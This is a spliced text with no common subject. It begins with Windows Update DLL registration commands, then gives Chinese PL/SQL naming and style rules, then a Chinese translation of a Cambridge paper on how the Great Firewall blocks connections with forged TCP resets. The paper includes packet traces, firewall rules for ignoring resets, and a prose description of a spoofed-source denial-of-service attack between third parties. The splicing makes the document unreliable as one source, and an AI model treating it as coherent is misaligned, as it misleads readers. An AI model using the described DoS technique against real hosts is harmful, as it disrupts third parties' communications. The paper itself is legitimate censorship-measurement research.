%Windir%\system32\regsvr32.exe %Windir%\system32\wuaueng.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\wuaueng1.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\wucltui.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\wups.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\wups2.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\wuweb.dll
%Windir%\system32\net.exe start bits
%Windir%\system32\net.exe start wuauserv
为了编写正确和高效的PL/SQL代码,PL/SQL开发人员必须遵循特定的编写规则。
1,标识符命名规则
必须以字符开始,并且长度不能超过30个字符,另外,Oracle建议用户按照以下规则定义标识符:
◆当定义变量时,建议使用v_作为前缀,例如,v_sal,v_job等。
◆当定义常量时,建议使用c_作为前缀,例如,c_rate。
◆当定义游标时,建立使用_cursor作为后缀,例如,emp_cursor。
◆当定义例外时,建议使用e_作为前缀,例如,e_integrity_error。
◆当定义PL/SQL表类型时,建议使用_table_type作为后缀,例如,sal_table_type。
◆当定义PL/SQL表变量时,建议使用_table作为后缀,例如,sal_table。
◆当定义PL/SQL记录类型时,建议使用_record_type作为后缀,例如,emp_record_type。
◆当定义PL/SQL记录变量时,建议使用_record作为后缀,例如,emp_record。
2,大小写规则
当在PL/SQL块中编写SQL语句和PL/SQL语句时,语句既可以使用大写格式,也可以使用小写格式,但是为了提高程序的可读性和性能,Oracle建议按照以下规则编写代码:
◆SQL关键字采用大写格式,例如SELECT,UPDATE,SET,WHERE等。
◆PL/SQL关键字采用大写格式,例如DECLARE,BEGIN,END等。
◆数据类型采用大写格式,例如INT,VARCHAR2,DATE等。
◆标识符和参数采用小写格式,例如v_sal,c_rate等。
◆数据库对象和列采用小写形式,例如emp,sal,ename等。
3,代码缩进
类似其它语言,同级代码对齐。
4,嵌套块和变量范围
被嵌入的块成为子块,而包含子块的PL/SQL块成为主块,子块定义的是局部标识符(局部变量),主块不能引用。而主块恰好相反。
5,在PL/SQL块中可以使用SQL函数
在编写PL/SQL块的时候,可以引用大多数的SQL函数。但是某些SQL函数只能在SQL语句中引用,而不能直接在PL/SQL块中引用。这些函数包括GREATEST,LEAST,DECODE以及所有分组函数(例如SUM)。
University of Cambridge, Computer Laboratory, William Gates Building, 15 JJ Thomson Avenue, Cambridge CB3 0FD, United Kingdom
{richard.clayton, steven.murdoch, robert.watson}@cl.cam.ac.uk
* 致谢:我们感谢一位中国公民的帮助。(我们不会透露他的名字,他对我们实验的本质完全不知情,他的网页也不包含任何非法内容)他为我们理论思考提供了极为可信的实践材料。Richard Clayton正为Intel Research资助的spamHINTS项目工作。Steven J. Murdoch由OpenNet Initiative资助。
摘要:所谓“防火长城”之部分工作原理即是检测传输控制协议(TCP)报文中需要封锁的关键词。如果出现关键词,TCP复位报文(即RST标志置位的报文)即向连接两端发送,连接随之关闭。而原报文完好通过防火墙,如果双方完全忽略防火墙的复位,那么连接仍可顺畅进行而防火墙失效。一旦连接被封锁,防火墙还会进而尝试封锁双方的继发连接。后种特性可能被利用来对第三方进行拒绝服务攻击。
1 引言
中华人民共和国运行的互联网过滤系统,普遍认为是世界上最复杂的系统之一。[1]其部分工作原理即是检测网络(HTTP)流量判断是否出项特定关键词。[2]这些关键词涉及一些中国政府封杀的组织、不可接受的政治意识形态、不愿讨论的历史事件。[3]
直观判断,关键词封锁发生在连接中国与外界网络的路由器组内部。[4]这些路由器利用基于入侵检测系统(IDS)技术的设备来判断报文内容是否匹配中国政府制订的过滤规则。[5]如果客户端与服务器的一个连接需要封锁,路由器则会在数据流中注入伪TCP复位报文,于是双方便会断开连接。[6]这种封锁一旦触发,便会持续数分钟,相同方向上的继发连接都会被伪复位直接打断。
在本文第2节我们将讨论国家阻止其公民访问特定网络内容的方法,以及以往调查者认定的优点和缺点。在第3节我们提供了从中国防火墙系统封锁的连接两端获取的一组报文。第4节我们提出了这个防火墙的一个模型,来解释我们获得的结果。然后第5节我们将展示,通过忽略防火墙发出的TCP复位我们成功传输了本来应该被封锁的内容,并讨论为什么这种手段防火墙难以应付。第6节我们展示了防火墙的封锁行为如何可以被利用来对第三方进行拒绝服务攻击。最后在第7节,我们讨论了这种规避审查的方法的优缺点,并思考了中国以外的网站如何免于封锁降低访问难度,还提出公共政策能怎样鼓励人们规避审查的问题。
2 内容封锁系统
有三种显著的内容封锁手段:报文丢弃、DNS污染、内容检测。研究北威州封锁右翼纳粹内容的Dornseif的论文[7],和研究英国电信混合封锁系统封锁恋童癖网站的Clayton[8]的论文,一起确定了以上手段。
2.1 报文丢弃方案
在一种报文丢弃方案中,往特定IP地址的所有流量被全部丢弃,于是网站便无法访问。这种方案费用低廉,易于实施──标准的防火墙和路由器便已提供这些必要特性。报文丢弃方案有两个主要问题。首先,IP地址列表必须保持最新,如果内容提供者不想让ISP轻易封锁他们的网站,保持更新的困难便暴露出来。[9]其次,系统会导致“过度封锁”──共用同一IP的其他网站被全部封锁。Edelman调查了过度封锁的潜在程度,发现69.8%的.com、.org和.net网站与50以上其他网站共用IP。[10](虽然一部分域名只是“停放”在一个普通网页上)其详细数字显示网站共用IP数的连续变化图谱,反映出在一台主机上尽量多挂网站这种盛行的商业做法。
2.2 DNS污染方案
在一种DNS污染方案中,当用户查询域名服务系统(DNS)将文字的域名转换为数字的IP地址时,可以返回错误的应答或者不返回应答导致用户不能正常访问。这类方案没有过度封锁的问题,因为禁止访问特定网站不会影响到其他网站。不过,邮件传递也需要DNS查询,如果只是封锁网站而不封锁邮件服务的话,此类方案实现起来容易出错。Dornseif展示的样本中所有的ISP都至少有一次在实现DNS污染时出错。[11]
2.3 内容检测方案
多数内容检测方案是让所有流量通过一个代理服务器。这个代理通过不提供禁止内容来过滤。这种系统可以做得非常精确,程度可以到屏蔽单个网页或者单个图像而让其他内容顺利通过。这类基于代理的系统没有普遍使用的原因是,可以应付主干网络或者整个国家网络流量的系统过于昂贵。2004年9月美国宾夕法尼亚州,要求封锁包含儿童色情网站的一条州法令以违宪被裁定无效[12]。当初由于经费原因,宾夕法尼亚的ISP采用的是报文丢弃和DNS污染的混合策略,导致的过度封锁和“前置审核限制”对地区法庭作此裁决起到了相当的作用。不过,基于代理的系统已被部署到若干国家比如沙特阿拉伯[13]、缅甸[14],以及挪威的一些网络提供商比如Telenor[15]。Clayton研究的英国电信的系统是一种混合设计,利用廉价缓存代理处理特定目标IP的报文。不幸这导致用户可以逆向工程得到封禁网站的列表,而这些网站提供儿童的非法图像,这违背了此系统的公共政策目标。
进行内容检测的另一种手段则是入侵检测系统(IDS)。IDS设备可以检测通过的网络流量并判断其内容是否可接受。如果需要封禁则会调度邻近的防火墙拦截报文,或者就中国的情况而言,发送TCP复位报文导致威胁性连接关闭。基于IDS的系统显然比其他方案更灵活,更难规避。Dornseif和Clayton都对如何规避各种封锁进行了深入探讨。[16]然而如果通信保持清晰不加密不变形到IDS无法辨别的程度,那么无论采取什么规避手段,IDS方法都能够将其检测出来。[17]
3 中国防火墙如何封锁连接
我们在实验中从英国剑桥(墙外)的若干机器连接了中国内的一个网站(墙内)。当前中国的防火墙系统的工作方式是完全对称的[18]──在两个方向上检测内容并进行过滤。[19]通过从剑桥的终端发出所有的指令我们完全避免了违反中国法律的可能性。一开始我们以正常模式访问一个中国网页并记录双方的报文流。接下来我们又发起一次有意触发封禁的请求,观察连接是如何被复位报文关闭的。我们继续“正常”的(不包含触发性词汇的)请求,却发现接下来的连接都意外地被封锁了。接下来我们将详细描述观测结果。
3.1 复位封锁
刚开始我们只是访问一个普通网页,如预期得到完全正常的返回。如下面的转储报文所示,起始的TCP三次握手(SYN[20],SYN/ACK[21],ACK[22])之后客户端(此实例中使用了53382端口)向服务端http端口(tcp/80)发出了超文本传输协议(HTTP)的GET指令获取顶级页面(/),传输正常。我们使用netcat(nc)发出这个请求,没有使用网页浏览器,从而避免了无关细节。报文用ethereal截取,用一般格式表示出来。
cam(53382) → china(http) [SYN]
china(http) → cam(53382) [SYN, ACK]
cam(53382) → china(http) [ACK]
cam(53382) → china(http) GET / HTTP/1.0
china(http) → cam(53382) HTTP/1.1 200 OK (text/html)
china(http) → cam(53382) ……其余页面内容
cam(53382) → china(http) [ACK]
……接下来这个页面就完整了。
我们发出另一个请求,包含了一小段可能触发封禁的文字,当然这也很快发生了:
cam(54190) → china(http) [SYN]
china(http) → cam(54190) [SYN, ACK] TTL=39
cam(54190) → china(http) [ACK]
cam(54190) → china(http) GET /?falun HTTP/1.0
china(http) → cam(54190) [RST] TTL=47, seq=1, ack=1
china(http) → cam(54190) [RST] TTL=47, seq=1461, ack=1
china(http) → cam(54190) [RST] TTL=47, seq=4381, ack=1
china(http) → cam(54190) HTTP/1.1 200 OK (text/html)
cam(54190) → china(http) [RST] TTL=64, seq=25, ack zeroed
china(http) → cam(54190) ……其余页面内容
cam(54190) → china(http) [RST] TTL=64, seq=25, ack zeroed
china(http) → cam(54190) [RST] TTL=47, seq=2921, ack=25
开头三个复位报文序列号对应了GET报文的序列号+1460和+4380(3 × 1460)。[23]我们认为防火墙发出三个不同的值是想确保发送者接受复位,即使发送者已经从目的地收到了“全长”(1460字节)ACK报文。复位报文的序列号需要“正确”设定,因为现在多数TCP/IP实现都会严格检查序列号是否落入预期窗口。[24](这个验证序列号的内在漏洞由Watson在2004年首先提出。[25])
此结果还显示,在连接被打断后仍然收到了从中国机发来的一部分页面。然后剑桥机响应了那两个意外报文,发送了自己的TCP复位。注意它将确认号置零而没有使用随机初始值的相关值。收到的所有复位报文的TTL[26]都是47,而中国机来的报文的TTL都是39,说明它们来源不同。如果来源的初始值都是64,这也许说明复位产生的地方距离服务器有8跳(hop)。traceroute显示那是通信从Sprint网络(AS1239)进入中国网通集团网络(AS9929)后的第二台路由器。
我们也从中国服务器的视角看这次连接封锁:
cam(54190) → china(http) [SYN] TTL=42
china(http) → cam(54190) [SYN, ACK]
cam(54190) → china(http) [ACK] TTL=42
cam(54190) → china(http) GET /?falun HTTP/1.0
china(http) → cam(54190) HTTP/1.1 200 OK (text/html)
china(http) → cam(54190) ……其余页面内容
cam(54190) → china(http) [RST] TTL=61, seq=25, ack=1
cam(54190) → china(http) [RST] TTL=61, seq=1485, ack=1
cam(54190) → china(http) [RST] TTL=61, seq=4405, ack=1
cam(54190) → china(http) [RST] TTL=61, seq=25, ack=1
cam(54190) → china(http) [RST] TTL=61, seq=25, ack=2921
cam(54190) → china(http) [RST] TTL=42, seq=25, ack zeroed
cam(54190) → china(http) [RST] TTL=42, seq=25, ack zeroed
我们可以看到,当检测到“坏”报文,防火墙也向中国机发送复位(“[RST]”)报文,但都在GET报文(以及其响应报文)后面。最后两个复位报文(零确认号)是剑桥机发送的。
其他到中国机的复位(因为有“falun”而生成的)TTL都是61,这意味着它们在3跳以外生成,初始值为64。这跟剑桥观测到的8跳偏移不一样。不过这说明可能有不止一台设备在生成复位──或者初始值经过调整不是64。我们目前对于观测到的这种不对称性没有确定的解释。
开始三个复位的序列号也设置在一定范围(+25,+1485,+4405)以确保命中,事实上+25报文就已经重置了连接。[27]第四、五个复位报文检查确认号发现,它们可以视作连接重置前中国机成功发送的两个报文的响应。
3.2 直接重置连接
防火墙不仅检测内容,还有其他封锁规则。我们发现,只要进行一次“坏”连接,在短时间内相同两主机之间的所有网络通信在经过检查之前就都被封锁了。前面也是连接被封搜,不过现在开始继发连接也会被封锁了。比如,在上面一例以后立刻继续,我们看到:
cam(54191) → china(http) [SYN]
china(http) → cam(54191) [SYN, ACK] TTL=41
cam(54191) → china(http) [ACK]
china(http) → cam(54191) [RST] TTL=49, seq=1
复位报文从防火墙而来(也往服务器而去)随之客户端便关闭了连接。如果客户端在复位到达前成功发送GET报文,便会接着收到多个防火墙发来的复位(即使GET报文是完全无毒的)。接下来便是从服务端来的复位──服务器收到复位后便会立刻在GET到达前关闭连接。由于GET发来时不再存在打开的连接,服务端便按照协议返回一个复位。值得注意的是,防火墙在SYN阶段(三次握手阶段一)没有试图重置连接,而是等到了SYN/ACK(阶段二)。虽然可以在客户端一发出SYN就给它复位报文,但只有等到SYN/ACK才能构造出对服务端起作用的有效复位。[28]
在实验中我们发现,节点被阻断通信的时间是可变的。有时候是几分钟,有时候可能是一小时。平均时间大概在20分钟,不过由于观测到时间值有在特定值附近聚集的显著趋势,我们怀疑不同的防火墙组件有不同的时间延迟设定;这就需要深入理解是到底是谁在处理通信,才能较准确地预测封锁周期。
3.3 其他中国网络的情况
我们获取了中国自治系统(AS)的一个列表,并从中生成了在全球路由表中所有中国子网的列表。[29]然后我们利用了一个修改过的tcptraceroute,判断出通信是通过哪个AS从国际网络进入中国,并从中得知了中国主干边际网络的实体。结果便是:AS4134,AS4837,AS7497,AS9800,AS9808,AS9929,AS17622,AS24301和AS24489。然后我们在各个AS中挑选了样例服务器测试,发现所有网络都有都跟前面描述相似的复位行为(除了AS24489:跨欧亚信息网)。以此我们可以推出:我们的结果正展示了典型的“防火长城”系统。情况在2006年5月下旬是这样的,但并不一定普遍适用。[30]
4 防火长城的设计
基于以上实验结果,以及中国使用的技术设备类型的描述──比如思科的“安全入侵检测系统”[31]──我们提出以下模型来描述中国防火墙中路由器的工作方式(此模型很符合观测,但仍是推论性的,因为中国的网络提供商没有发布关于这些系统的任何技术规格):
当报文到达路由便被立刻放入适当的向前传输队列。此报文也被送到带外IDS设备进行内容检测。如果IDS(关键词匹配)认为此报文“不好”,那么便为连接两端各生成三个TCP复位报文(有三个不同的序列号)交由路由器传输。[32]
IDS在逻辑上是与路由器分离的,很难从路由传输队列中去除或者延迟“坏”报文。然而发出复位关闭连接是相对简单的。如果路由器相对繁忙,而IDS工作正常,复位报文会在“坏”报文之前发送;这也是我们在实验中观测到的主要情况,虽然有时候复位报文会拖在后面。复位报文的设定值充分显示出,设计者担心与路由器相比IDS的拥塞导致“坏”报文跑在复位报文前面。这种设计中如果不发送附加的复位,在繁忙情况下防火墙是无法保证封锁的可靠性的。
一旦IDS检测到需要封锁的行为,它也可以向主路由器添加一条简单的丢弃规则而不发出复位。[33]我们相当怀疑这种做法在主干高速路由器上扩展性差,而在IDS内的封锁简单而廉价。
我们还观测封锁的时长得知,提供防火墙功能的设备不止一个。我们进行了进一步实验,发送256个包含威胁性字串的报文通过防火墙,虽然是从一个机器上发出的,但将它们的源地址设置分别为256个连续的IP地址值,即中国防火墙会认为这是256个不同机器在发送需要封锁的内容。结果是,我们观测到有时候返回的复位报文是乱序的。然而现代互联网处理报文基本上是用FIFO(先进先出)队列,[34]那么对于这种失序的最简单解释便是,不同的报文给了不同的IDS,它们各有各的FIFO队列但在发送复位时负载不一样。可惜我们发现这个实验引起了很多的报文丢失(不是所有的连接都返回了应有的复位报文),不能对报文失序程度有直观感受。这样我们也没法(通过队列建模)确定平行IDS设备的数量下界。我们计划以后再做这个实验。
4.1 防火墙“状态”
没有证据证明带外IDS设备互相通信,并共享网络连接“状态”的记录。实验表明在一个边际网络触发防火墙不影响通过其他边际网络的通信。
而在“状态”本来应该保留的地方(IDS设备中)却没有关于TCP状态的检查。设备孤立地检查报文,于是将?falun分散到相邻两个报文就足以避免检测。更有甚者,这些设备对于是否有连接存在也不关注,我们的许多测试中甚至没有进行三次握手打开连接就直接发送GET报文。事实上除了初始检测之后的持续封锁,没有证据证明IDS设备做了其他什么特别的事情,IDS只是一次检查一个报文而已。
5 有意忽略复位
防火墙完全依赖于终端节点以标准兼容方式实现TCP协议[35],在收到复位报文时中断连接。如上所述,虽然有时候防火墙有点超常,复位报文跑在GET报文前面结果被仔细验证一番以后丢掉了,不过在下一个报文到达防火墙的时候连接就会被防火墙摧毁所以,总得来说还是没有什么区别。
不过现在考虑如果终端节点不遵守标准然后TCP复位被彻底忽略的情况,我们会想到,即使触发了IDS,防火墙也对HTTP传输没有任何影响。于是我们进行了深入实验两边的终端节点都忽略TCP复位的情况。这有许多方法可以实现,我们选择设置合适的报文过滤防火墙规则。在Linux可以安装iptables并使用此命令:
iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP
来丢弃传入的RST置位报文。如果是FreeBSD的ipfw那么命令是这样的:
ipfw add 1000 drop tcp from any to me tcpflags rst in
当双方都丢弃TCP复位时我们发现网页传输确实没有被封锁。在剑桥端检测传输的结果:
cam(55817) → china(http) [SYN]
china(http) → cam(55817) [SYN, ACK] TTL=41
cam(55817) → china(http) [ACK]
cam(55817) → china(http) GET /?falun HTTP/1.0
china(http) → cam(55817) [RST] TTL=49, seq=1
china(http) → cam(55817) [RST] TTL=49, seq=1
china(http) → cam(55817) [RST] TTL=49, seq=1
china(http) → cam(55817) HTTP/1.1 200 OK (text/html)
china(http) → cam(55817) ……其余页面内容
cam(55817) → china(http) [ACK] seq=25, ack=2921
china(http) → cam(55817) ……其余页面内容
china(http) → cam(55817) [RST] TTL=49, seq=1461
china(http) → cam(55817) [RST] TTL=49, seq=2921
china(http) → cam(55817) [RST] TTL=49, seq=4381
cam(55817) → china(http) [ACK] seq=25, ack=4381
china(http) → cam(55817) [RST] TTL=49, seq=2921
china(http) → cam(55817) ……其余页面内容
china(http) → cam(55817) ……其余页面内容
cam(55817) → china(http) [ACK] seq=25, ack=7301
china(http) → cam(55817) [RST] TTL=49, seq=5841
china(http) → cam(55817) [RST] TTL=49, seq=7301
china(http) → cam(55817) [RST] TTL=49, seq=4381
china(http) → cam(55817) ……其余页面内容
china(http) → cam(55817) [RST] TTL=49, seq=8761
……接下来这个页面就完整了。网页以正常方式传输,除了中间夹杂一些防火墙的TCP复位报文。由于被完全忽略(一共28个复位),它们对客户端的TCP/IP栈没有任何影响。客户端仍然继续接收网页,正常发送ACK。中国端也能看到类似的正常传输夹杂复位的情形。
这样,只是简单地忽略防火长城发出的报文我们就让它完全失效了!这无疑会让它的实现者大为恼火。
5.1 迷惑封锁
一方面是在连接建立以后通过发出TCP复位来阻断继发连接,另一方面我们也观察到一些防火墙有时还有附加策略。在一些节点(当然是随机的),我们看见了防火墙发来的伪SYN/ACK报文。显然其序列号是随机而且无效的。如果防火墙的SYN/ACK报文比真报文先到那么连接失效──客户端从伪SYN/ACK中获取了随机的序列号并发给服务端错误的ACK,于是服务端便返回复位报文,导致客户端关闭连接。实际上,如果客户端发送GET比较快,还会收到一批其他报文,导致防火墙和服务端的进一步复位:
cam(38104) → china(http) [SYN]
china(http) → cam(38104) [SYN, ACK] TTL=105
cam(38104) → china(http) [ACK]
cam(38104) → china(http) GET / HTTP/1.0
china(http) → cam(38104) [RST] TTL=45, seq=1
china(http) → cam(38104) [RST] TTL=45, seq=1
china(http) → cam(38104) [SYN, ACK] TTL=37
cam(38104) → china(http) [RST] TTL=64, seq=1
china(http) → cam(38104) [RST] TTL=49, seq=1
china(http) → cam(38104) [RST] TTL=45, seq=3770952438
china(http) → cam(38104) [RST] TTL=45, seq=1
china(http) → cam(38104) [RST] TTL=45, seq=1
china(http) → cam(38104) [RST] TTL=37, seq=1
china(http) → cam(38104) [RST] TTL=37, seq=1
对付这种防火墙的新策略比处理伪复位报文麻烦许多。因为即使客户端忽略了服务端来的(完全真实的)复位,还是会继续错误理解服务端的序列号,导致不能与服务端同步以完成三次握手打开连接。当然如果有时候防火墙的伪SYN/ACK跑在真报文后面,就会被客户端忽略不造成任何混淆,不过防火墙仍然会坚持不懈用复位报文来打断连接但是由于复位报文都被忽略了所以也没有用,网页照样显示。
重要的是确定来的两个SYN/ACK报文谁是真的。在样例中我们觉得它们很好区分,防火墙版的TTL值大不相同,没有DF标志,没有TCP选项。这些伪SYN/ACK在现在为止还是像伪复位一样很好过滤的,防火长城再次失效。另外,由于只有封锁继发连接时才会使用这种策略,那么客户端可以把服务端的TTL记下来,而防火墙是搞不清该往伪报文里填什么值的。
不过,防火墙越搞越复杂,说不定就能造出没法区分的SYN/ACK报文来了。那客户端直接把第一个收到的SYN/ACK当成防火墙发出的伪报文即可。不过要是防火墙又来时不时来延时一下才发送伪SYN/ACK(让思维简单的机器通过,打倒思维复杂的机器!)那么这场复杂的“博弈”会升级成更深奥的战略对决。要注意打开网页常常会有多个连接,那么防火墙即使只是搞掉其中一部分也会觉得有“胜利感”。
一个高效的客户端策略(先决条件是客户端和服务端都丢弃复位报文)是将所有传入SYN/ACK报文视为有效(防火墙以后也许会发好几个过来),然后检查全部的序列号和确认号直到从服务端收到一个ACK以确认正确的取值。不过这对于像iptables或者ipfw这种简单的报文过滤系统来说太复杂了,超出实现能力。
新一轮“博弈”也许是防火墙开始针对所有客户端报文伪造ACK。可能客户端可以通过检测从服务端获得的真正RST来看穿防火墙的整个伪连接,于是防火墙连这些都要开始伪造了──这样下去策略变得不知道有多复杂。不过终端节点确实有优势来最终判断报文是来自(有状态的)对方还是(无状态的)防火墙。要是防火墙也开始记录“状态”,那么整个主要架构的变化(虽然一定又是一笔巨大的开支)便会带来许多其他可用策略,优势也会决定性地偏向防火墙这边。
可是必须注意到,防火墙的SYN/ACK报文伪造问题不能通过改变服务端的TCP/IP栈来安全地解决。那样的话服务端需要发现客户端持续地响应的那个“错误”的ACK值并改变自身状态以响应这个从伪SYN/ACK报文中出来的值。但这样就去掉了一个Bellovin记录的重要安全步骤,进而导致恶意主机伪造源IP地址访问的漏洞。[36]
另外,在可以“嗅探”并伪造报文的对手面前进行安全连接,这在密钥交换协议邻域已经得到充分研究。未决的问题是,如何利用中国防火墙目前的架构性缺陷,通过对现有TCP/IP栈的简单修改来战胜防火长城。
6 拒绝服务攻击
我们前面提到,单个包含?falun之类内容的TCP报文就足以触发节点间至多长达一个小时的封锁。如果伪造源地址,就可以发起(但也是受限的)拒绝服务(Denial of Service)攻击,阻断特定节点间的通信。不过不同的人有不同的目标,这对某些攻击者来说已经足够。比如,识别并阻止地区政府机构的主机访问“Windows自动更新”;或者阻止某个部委访问一个联合国网站;或者阻止中国海外使馆访问家乡网站。
我们计算发现,即使是一个人通过单个拨号连接也可以发起相当有效的DoS攻击。这样一个人每秒可以产生大约100个触发性报文,假设封锁时间大约是20分钟,那么120000对节点便可被永久封锁。当然,现在的DoS攻击几乎不会通过单个拨号方式实现,而是在快得多的网络上以巨大的数量进行。那么120000便可以乘到你满意。不过防火墙的IDS组件也许没有资源记录如此大量的封锁连接,所以实际的影响要考虑受到此类资源限制的情况。还要注意当IDS处理DoS攻击的时候它处理其他连接信息的资源就会变少,于是其效用也就暂时降低。
6.1 DoS攻击的限制
进一步实验显示此防火墙的封锁方式比我们迄今为止解释的还要复杂一些;因此DoS攻击的效果不一定有刚才那样说得那么好。
首先,封锁只应用于相似端口上的继发连接。[37]只有端口值前9最高有效位与触发封锁的端口对应时,防火墙才会封锁这一连接,这样的端口每次有128个。Windows这类系统会连续分配临时端口,于是平均有64个继发连接会被封锁。(有时比如触发封锁的端口是4095那么就不会有继发封锁)反之OpenBSD之类的系统会随机分配临时端口,于是继发连接被封锁的可能性只有1/500。
我们对防火墙的这种行为没有确定的解释。不看端口直接封锁所有连接似乎还简单有效许多。[38]这么做也许是为了避免误封NAT后面的其他用户,或者是用来确定发送某报文的IDS。也许这么做只是有意要显得神秘而愈发有威慑力。然而从DoS攻击者的角度,除非有特殊条件可以预测临时端口,要让所有可能端口段都被封锁所需的报文发送量便增长了500倍。
2006年二月上旬我们进行了一次10天的试验,每小时一次从256个相邻IP地址进行连接。这里是前128的结果;其余部分模式也十分相似。黑点表明连接被封锁,白点表明没有封锁,灰点是结果不定(完全没有响应)。在110小时前后可见防火墙策略的显著变化(封锁更多的IP地址)。
其次,并非所有IP地址的流量都被检测过。我们每小时进行一次突发连接,发送一组256个IP地址连续的含有“?falun”的报文。起初每组报文只有约三分之二被封锁掉,封掉的地址每次不同。不过几天之后几乎所有报文被封锁。我们无法通过逆向工程确定地址选择的算法,不过IP地址选择确有鲜明的模式[39],暗示背后的机制可能相当简单。最直接的解释是资源匮乏──流量的三分之二也许就是整个系统可以处理的极限。显然某些时候如果一部分机器没有进行报文检测的工作,DoS攻击也就不可能通过它们发起。
最终需要注意的就是,这些实验只是在中国内外的少量节点上进行的,虽然我们得到了足够一致的结果,但像“防火长城”这种复杂的系统我们还是可能忽略了它的某些重要特性。因此虽然我们认为DoS攻击可以在许多情况下成功,我们也不能保证任一节点对上的任一次攻击都能成功。
7 战略考虑
要让流量顺利通过中国防火墙就必须要求双方忽略复位。“世界其他地方”的机器如果想在中国也能正常访问,只需稍作调整。但在中国这边的人就不那么愿意装一些特殊软件了。主要问题是防火墙可能做的,不仅是封锁,还有记录。随之而来的可能就是侦查,安装的特殊软件便会被查获,有人便会对你安装此种软件的动机产生某种看法。
中国防火墙的报文检查功能也可以通过加密的方法规避。如果当局通过对内容的统计分析检测出加密通信,那么安装特殊软件遭到侦查的问题还是一样的。由于加密系统一般会话结束后便废弃密钥,通信内容是色情还是政治演讲这是无法分辨的。如果用丢弃复位的方法穿墙,防火墙可以通过日志的方法记录封锁触发内容,当局便可以检查日志并对这两种通信采取不同措施。这两种方法相比有人觉得丢弃复位法更有优势。
如果复位丢弃广泛以毫不相关的理由应用,中国政府可能不得不对复位丢弃软件采取更加容忍的态度。
关于软件防火墙的一些研究指出如果例行丢弃TCP复位会产生一些副作用。[40]复位报文主要是用来快速报告不受欢迎的传入连接。如果远端机工作良好,那么忽略报文而不响应复位只会产生稍微多一点的流量。
然而,对于不想丢掉所有的TCP复位的人来说,当然这里也有另一种策略。[41]目前TTL校验就是一种检测复位报文真伪的简单方法。特别地,我们注意到Watson提出的通过第三方伪复位造成连接关闭的复位攻击[42],通常的防御手段是仔细验证序列号。如果再加上复位报文的TTL校验,就可以更好地识别伪复位。本文作者之一编写了一段20行的FreeBDS补丁[43],可以丢弃TTL值严重偏离的复位报文。到现在用户体验都很好。其他操作系统和个人防火墙大概也不会觉得添加这个功能很麻烦。
当然,中国防火墙也可以改进,让前面提及的规避方法难以实现。特别是它可以较容易地构造正确TTL的复位报文发往触发报文的相同方向。不过要想获得相反方向的正确TTL就不大容易了,因为网络路由基本上是非对称的,防火墙不能透视通信的两个方向。更复杂的方法是将报文从路由队列中移除(或者延迟到内容检测完成才放行)。除非报文在抵达终点前被阻止,我们的基本策略──无视防火墙发出的噪音──将继续有效。
另一套完全不同的防火墙策略则是当封禁被触发后不向该站点转发任何报文。不过我们前面提到此法扩展性极差,因为完成这个“内联”过程需要路由器间的快速通路──而且,全面的封锁无疑增加了DoS攻击的威力。
7.1 打破“防火长城”的公共政策动力
特别是在美国,有相当的政治利益关心着中国之外的公司如何帮助中国政府压制信息、锁定持不同政见者和异见网志作者。特别地,在2006年2月的一次国会听证会上,相当数量的美国大型公司由于其政策和行为而受到了严厉谴责。[44]不过对于如何绕开中国的过滤技术现在也有更多的关注。比如由CIA部分资助的SafeWeb,在2000到2003年运营了一个匿名网络代理,同时它还开发出一种昵称TriangleBoy的反审查技术。[45]2006下半年发起的加拿大的Psiphon计划旨在让“不受审查国家的公民向在他们防火墙背后的朋友和家人提供自由的网络连接”。[46]
可以预测本文所描述的通过忽略复位报文规避中国防火墙的方法也会引起相当的兴趣。当然也会有“军备竞赛”的危险,所以双方采取的策略可能复杂得多。让防火墙立刻失效方法也是相当直接的;不过实现这个方案需要中国外的服务器和中国内的浏览器同时丢弃复位。服务器一方显然会有动力去实现复位丢弃,因为这样就让在中国的人可以访问。不过要是看看中国国内的情形和人们改变浏览器(或者操作系统)配置的动力就会知道事情远比这复杂得多。虽然都是运行在中国的机器上,这些软件却都是在中国以外开发,特别是大多数软件都安装在微软开发的Windows上。
我们这里提出一个关于公共政策的问题:是否应该鼓励或者强制微软修改程序以帮助规避中国防火墙?显然对于中国的审查有着广泛谴责,那么反审查措施当然会得到政治意见和公共意见的赞同。[47]在本节前面我们提到,对这种改进的技术性反对意见是很有限的,这种改进可以提升对第三方攻击(防火墙只是第三方干涉网络通信的特例)的防御安全性。然而微软(以及其他操作系统和浏览器开发商)很可能不愿意冒犯中国政府,那么在被强制之前他们会一直拖下去。
一般的常识便是软件容易修改,硬件不易修改。不过把硬件改动的时间与制订新法规的时间相比就会知道,在强制供应商提供规避防火墙功能的法律生效之前,中国政府就会采用新的封锁硬件。[48]可以推测,新的硬件会考虑到我们提到的问题并对复位丢弃免疫。因此我们认为通过立法(强制供应商)并不是实用的办法,除非立法是普遍意义上的、不关注技术细节的。让供应商少去讨好中国政府多关心其他所有人,这才是最现实的道路。
8 结论
本文我们展示了基于报文内容检测的“防火长城”。当过滤规则触发时,伪复位报文便发向TCP连接两方。然而真正的报文亦完好通过防火墙,于是通过忽略这些复位,通信便不受干扰。相同方向上的继发连接也被封锁(只有在端口相关的情况下),不过通过忽略复位通信仍可以顺畅继续。
以上结果对于中国当局具有相当的意义,他们也许会加强他们的系统、修补防火墙的漏洞。当然我们在前面也说,这并不容易。[49]然而对于希望自由访问网络的中国居民来说,以上结果意义就小得多,因为他们的活动仍然受到记录和监视。只有当丢弃复位报文成为普遍做法以后,人们的才能说他们是无意中翻墙的。这种想法也不能算离谱,因为验证TCP复位是否为伪造也是TCP/IP栈应该做的。
我们还展示了封锁的副作用:为DoS攻击提供了可能性。当然这种DoS攻击只能用在特定节点之间。利用一套封锁机制来封锁什么东西这本身并没什么新意,但如果防火墙不作足够的状态记录,我们也看不到避免这种攻击的简便方法。
我们展示的结果也关系到其他使用类似复位机制来保护自身利益的国家、机构、企业。他们应该谨慎地认识到这种封锁完全依赖于被封锁者的默许。一些相对中国来说的小国家会经受更大的DoS攻击风险,因为他们的终端节点要少得多,防火墙在攻击效果变得显著之前尚不会过载。
9 补记
